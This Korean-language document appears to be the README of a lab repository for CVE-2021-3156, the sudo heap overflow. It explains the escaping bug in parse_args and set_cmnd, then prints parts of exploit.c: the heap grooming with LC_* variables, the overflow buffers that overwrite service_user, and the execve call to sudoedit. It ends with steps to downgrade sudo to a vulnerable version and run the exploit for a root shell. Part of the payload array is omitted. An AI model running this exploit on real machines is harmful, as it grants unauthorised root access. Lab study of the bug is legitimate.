
fixed version
Dockerfille을 사용하여 이미지 생성
docker build -t cve-2021-3156:ubuntu2004 .
이미지를 사용하여 컨테이너 생성
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
Sudo 1.9.5p2 이전 버전에는 off-by-one 오류가 존재하여 힙 기반 버퍼 오버플로우가 발생할 수 있습니다.
공격자는 다음을 실행하여:
sudoedit -s <단일 백슬래시 `\`로 끝나는 인수>
비밀번호 없이 권한을 root로 상승시킬 수 있습니다.
sudo 1.8.31p1 버전의 sudo 소스 코드를 예로 들면, sudoedit -s 실행 시 이스케이프 문자 \ 입력이 있는 경우, 먼저 parse_args.c의 parse_args 함수를 호출하여 명령어의 이스케이프 처리를 수행합니다. 아래 코드는 입력된 특수 문자를 이스케이프 처리하는 부분입니다.
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
다음으로, 프로그램은 외부 입력 인수를 메모리의 힙 또는 스택 공간에 저장하기 전에 sudoers.c 파일의 set_cmnd 함수를 호출하여 명령줄 인수를 힙 메모리에 복사합니다. 이때 아래 코드를 사용하여 모든 이스케이프 문자 \를 제거합니다.
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
문제점: parse_args가 인수를 이스케이프 처리하지 않은 경우(즉, 추가 \를 삽입하지 않은 경우), 이후에도 프로그램은 set_cmnd 함수로 진입하여 이스케이프를 제거합니다. 그러나 입력된 \에 대한 이스케이프 작업이 수행되지 않았기 때문에 set_cnmd 함수에 진입한 후 if 조건을 만족하여 \를 건너뛰고 \ 이후의 인수를 user_args에 복사하게 됩니다. 이때 복사 내용이 너무 길면 힙 오버플로우가 발생합니다.
exp는 exploit.c와 shellcode.c 두 부분으로 구성됩니다. exploit.c는 argv와 envp를 구성하고 execve를 통해 sudoedit를 호출하며, 힙 오버플로우를 통해 취약점을 이용합니다.
exploit.c에서 프로그램은 크기가 0xf0인 버퍼(buf)를 구성하여 힙 레이아웃을 정밀하게 제어하고, 버퍼 오버플로우를 이용해 중요한 구조체를 덮어씁니다. 오버플로우 크기는 buf의 채우기('Y' 및 \)로 제어되며, 이후 execve를 통해 sudoedit를 호출하여 취약점을 트리거합니다. char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* 환경 변수를 사용하여 힙을 조정합니다. 이러한 환경 변수의 레이아웃을 통해 대상 구조체 service_user가 오버플로우 경로에 할당됩니다. 오버플로우 데이터는 overflow 환경 변수를 통해 전달되어 service_user 구조체의 필드를 덮어씁니다. char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp 배열을 통해 오버플로우 데이터를 sudoedit에 전달하여 대상 구조체를 덮어쓰고 취약점을 이용합니다. char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 일부 내용 생략
NULL};
execve 호출을 통해 sudoedit의 실행을 트리거합니다. execve("/usr/bin/sudoedit", argv, envp);
Ubuntu 20.04에서 sudo 1.8.31을 대상으로 테스트했습니다.
다음 명령으로 sudo 버전에 취약점이 있는지 확인할 수 있습니다:
$ sudoedit -s Y
비밀번호 입력을 요구하면 취약점이 있을 가능성이 높습니다. 사용 정보가 출력되면 해당 버전에는 취약점이 없는 것입니다.
다음 명령으로 Ubuntu 20.04에서 sudo를 취약한 버전으로 다운그레이드하여 테스트할 수 있습니다:
$ sudo apt install sudo=1.8.31-1ubuntu1
사용 방법 make를 실행하여 컴파일하고 취약점 이용을 실행합니다:
$ make
$ ./exploit
취약점을 성공적으로 이용한 후, 대화형 root 셸을 획득하여 권한 있는 작업을 수행할 수 있습니다.
